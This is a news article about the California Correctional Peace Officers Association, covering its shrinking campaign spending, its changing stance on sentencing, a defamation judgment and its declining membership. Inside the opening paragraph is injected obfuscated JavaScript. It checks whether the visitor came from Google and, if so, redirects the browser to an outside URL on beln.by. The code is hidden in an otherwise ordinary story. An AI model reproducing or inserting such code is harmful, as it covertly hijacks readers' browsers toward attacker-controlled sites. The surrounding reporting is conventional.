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CCPOA’s clout high, but profile low

An officer of the California Correctional Peace Officers Association at memorial services for fallen colleagues. (Photo: CCPOA)

The California Correctional Peace Officers Association was once one of the most visible – and powerful – political forces in Sacramento var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. It thrived with the state’s vast prison expansion and it muscled concessions from Democratic and Republican governors alike.

But the CCPOA now is in transition. The 28,500-member union still has the power – but it keeps a far lower profile.

CCPOA’s incoming president Chuck Alexander acknowledged that the union took a public relations hit during the Schwarzenegger years. He once said that CCPOA’s battles for a new contract with a state deep in deficit as it advocated for “lock them up and throw away the key, warehouse-type prisons” made it easy for critics to define CCPOA as “only in it for themselves” and “just another special interest.”

In 1994, it was a major force behind the passage of Proposition 184, California’s “Three Strikes” initiative.

Lessons were learned from the years of confrontation and conflict, and from the negative perception of being a “special interest” at odds with the public good.

“The demonization of special interests [means] that you have to spend $3 to get 50 cents of impact,” Alexander told Capitol Weekly. “It is more effective to talk to the Legislature than to throw PAC money around,” Alexander added that it’s better “to be part of the process than to be adversarial.”

Over the years, especially in the 1990s and early 2000s, it was hard to overstate the power and influence of the CCPOA, which represents those who guard state prison inmates, as well as other prison personnel.

Incoming CCPOA President Chuck Alexander.

Incoming CCPOA President Chuck Alexander.

The organization, once viewed as weak and divided, grew dramatically under then-leader Don Novey into not only one of the state’s strongest unions but also into one of its most feared political operations.

In 1994, it was a major force behind the passage of Proposition 184, California’s “Three Strikes” initiative. In the same election cycle, it spent a record amount on former Gov. Pete Wilson’s successful reelection campaign. CCPOA spent heavy on the creation of Crime Victims Rights organizations, who were useful in both reinforcing the union’s “lock ‘em up” policies, but also donated money to and endorsed CCPOA friendly candidates, opposing those it deemed “soft on crime.”

Wilson’s criminal justice policies, supported by CCPOA, Victim Rights organizing, and public opinion, coupled with Three Strikes led to a massive increase of the state’s prison population, which, in turn fueled California’s already robust prison building boom.

In Lt. Gov. Gray Davis, CCPOA found an ally who was both pro-law and order and pro-labor. When he stepped into the 1998 governor’s race, the union was one of his heaviest backers. Like most candidates and propositions the CCPOA supported, Davis won. In 2002, the union spent over $1.5 million to reelect Davis. When Davis faced recall one year later, CCPOA had a less-than-modest presence.

This last cycle of 2013-14 saw no gain in the union’s campaign expenditures with only $1.98 million as of October 30, less than it spent 15 years before.

CCPOA’s success at the ballot box led to legislative victories, more state-run prisons (as well as a moratorium on privately run, non-union lock ups), and more jobs for its members. Better contracts for its growing membership meant more money in its coffers. Much of that money was spent on lobbying for its members and supporting or opposing candidates and propositions. In the 1999-2000 election cycle, CCPOA contributed $2.33 million to various campaigns and political parties. In the 2001-02 cycle, that amount increased to $3.83 million.

In 2002, CCPOA saw a change in leadership. Novey retired and was replaced by his executive vice president, former prison guard Mike Jimenez. Under new leadership, CCPOA campaign spending grew. The 2003-04 election season saw contributions totaling $5.94 million. In 2005-06 the union topped itself, contributing $9.97 million to various campaigns, especially to fight Proposition 66, the unsuccessful initiative that would have changed California’s Three Strikes law.

The election cycle of 2007-08 saw a dip in CCPOA contributions. In a season in which there were no state offices at stake, the union spent $8.1 million. CCPOA spent a little less on the next set of contests. Though they pushed a lot of cash toward Jerry Brown’s bid to return to the governor’s seat (and to keep Meg Whitman off of it), the union’s total spending during 2009-10 amounted to $6.7 million.

The fluctuation in political spending is common in Sacramento among major interests. But what CCPOA spent or, rather, didn’t spend over the next two election cycles causes pause.

During the 2011-12 season, CCPOA’s electoral largess shrunk to $2.6 million, less than half of what it was two years prior. This last cycle of 2013-14 saw no gain in the union’s campaign expenditures with only $1.98 million as of October 30, less than it spent 15 years before.

In addition, during these two cycles California’s ballot saw two Three Strikes-reform initiatives (Proposition 36 in 2012, Proposition 47, 2014) pass without any opposition from CCPOA.

“I’m not saying I’m sympathetic to people who go to prison. But I’m empathetic. I don’t want them to suffer unnecessarily.” — Lance Corcoran.

The dive in spending raised questions: Are there money problems? Has the union undergone a philosophical change? Or does this reflect a change in strategy? All of the above?

Perhaps part of the explanation can be found with current president Mike Jimenez. When Jimenez took charge of the union, he was seen as a hard-charger, gruffer and more unpredictable than former head Don Novey, but just as willing to send messages with campaign dollars.

During Jimenez’s first four years, the union’s campaign spending shot up. CCPOA’s first decrease in spending, albeit a relatively small one, came after his 2007 California Democratic Party Convention speech.

In that speech, in which the words of moderation caught many by surprise, Jimenez declared, “I have a dream that the bricks and mortar that were planned to build new prisons will instead be used to build new schools. Today I have a dream that not one of these cells will ever be occupied by the child of a person in this room today. Today I have a dream that an ounce of prevention will be embraced instead of a pound of cure by the California Legislature and this administration.”

In 2008, Jimenez gave an interview to Sasha Abramsky of Mother Jones in which he discusses his change of philosophy about sentencing and the criminal justice system, largely due to the problems of his 19-year-old son’s struggles with the law. The late Lance Corcoran, then the CCPOA’s spokesperson, had similar thoughts.

“I’m not saying I’m sympathetic to people who go to prison. But I’m empathetic. I don’t want them to suffer unnecessarily,” Corcoran said.

Joshua Page, who has followed California correctional politics closely, believes that the reason for the CCPOA spending drop might not be so lofty.

As a union, the CCPOA’s primary concern is “what is best for its members”, not the welfare of prisoners. — Joshua Page.

Page, a University of Minnesota sociology professor, notes that that the CCPOA is adept at politics and probably realizes that public opinion on criminal justice issues, especially on Drug War policies and sentencing of nonviolent offenders, has shifted. Page is the author of The Toughest Beat: Politics, Punishment, and the Prison Officers Union in California.

“If the CCPOA would have continued the fight for ‘tough on crime’ sentencing laws, the union likely still would not have a contract, but would be a target of scorn for judges, newspaper editorialists and state officials. Getting out of the way of reform was necessary for self-preservation, but the CCPOA might not have taken the path of least resistance if the new generation of leaders had not taken over the organization,” wrote Page in ACJS Today, the newsletter of the Academy of Criminal Justice Sciences.

Page says that CCPOA is first and foremost a public employees union and that perhaps that the union’s drop in campaign spending could be the organization returning to its primary mission, to support its members in contract negotiations and job creation while acting less like a policy machine and operator.

He contends that the CCPOA’s past political maneuvering is unique to the organization and to drop the aggressive politicking would make them much more like other prison unions across the country.

As a union, the CCPOA’s primary concern is “what is best for its members”, not the welfare of prisoners, Page said.

Meanwhile, the public’s views about incarceration are changing dramatically.

According to an April 2014 national survey done by the Pew Research Center, 67% of Americans supported treatment for hard drug users rather than incarceration (26%). Opposition for mandatory sentencing rose from 41% (2001) to 63%.

Through retirement or people quitting, during the past four years CCPOA membership has gone from a consistent average of 31,000 to 28,500.

Even such law enforcement hardliners as Rick Perry and Newt Gingrich, as well as other conservative Republicans, have started to talk prison reform. Not recognizing this shift seemingly puts CCPOA outside of the mainstream.

While stating that union policy was partially responsible for CCPOA sitting out the Proposition 47 campaign (Jimenez’s policy of “staying out of influence peddling”), Alexander also said that getting involved on the No side was “financially unfeasible,” that there was “too much money to go against.”

In the past, spending big money in an election did not concern CCPOA. Does the CCPOA’s newfound financial prudence suggest that the union might be low on cash?

Apparently not, although the union was hit a seven-figure court judgment – a decision that was upheld last year.

In 2010, CCPOA was a defendant in an unusual federal defamation lawsuit, in which Brian Dawe, the former executive director of Corrections USA — a national group that advocates on behalf of correctional officers — said he was forced from his job and defamed by CCPOA. CCPOA is a member of Corrections USA.

A federal jury agreed and awarded Dawe $12 million, an amount later reduced by the trial judge to $4.6 million, after CCPOA stated in court documents that the larger amount – less than half of what the union’s members pay in dues yearly — would cripple the organization.

Both Dawe and CCPOA appealed — Dawe because of the award reduction and CCPOA because of the jury’s decision. The appeal lasted over two years. During that time, the union had no way of knowing how much of the award it would be liable for, if any at all. In February 2013, a three-judge panel affirmed both the jury verdict and the award reduction.

Alexander, the CCPOA’s vice president, says that during the lawsuit and appeal he had been “thrifty with his members’ money and had built an $8 million reserve.” He added that the award had no impact at the time or now.

Another factor that has impacted CCPOA’s finances is a loss of membership.

While the halt in prison construction and the shift of some state inmates to local custody apparently have not impacted the number of guards working in California’s prisons, attrition has.

Through retirement or people quitting, during the past four years CCPOA membership has gone from a consistent average of 31,000 to 28,500. In December 2013, the California Department of Corrections announced that it would hire 7,000 prison guards over the next three years to replace those it was losing. Alexander states that even with those hires, the CDCR is graduating only 200 guards per month for every 150 leaving the system.

“If all the positions we have open were filled,” says Alexander, “it is still not enough.” Once again, the issue is jobs.

Page says that CCPOA is first and foremost a public employees union and that perhaps the union’s drop in campaign spending could be the organization returning to its primary mission, to support its members in contract negotiations and job creation but act less like a policy machine and operator. He adds that the CCPOA’s past political maneuvering is unique to the organization and to drop the aggressive politicking would make them much more like other prison unions across the country.

If Page is correct, that does not mean CCPOA will disappear or that their money will go away.

Alexander says that as incoming union president he will “engage much more vigorously in future election cycles, not in the mode of prior regimes.”

“Though it might be hard to tell,” he chuckles.

Ed’s Note: Scott Soriano, a Sacramento writer, is a regular contributor to Capitol Weekly.


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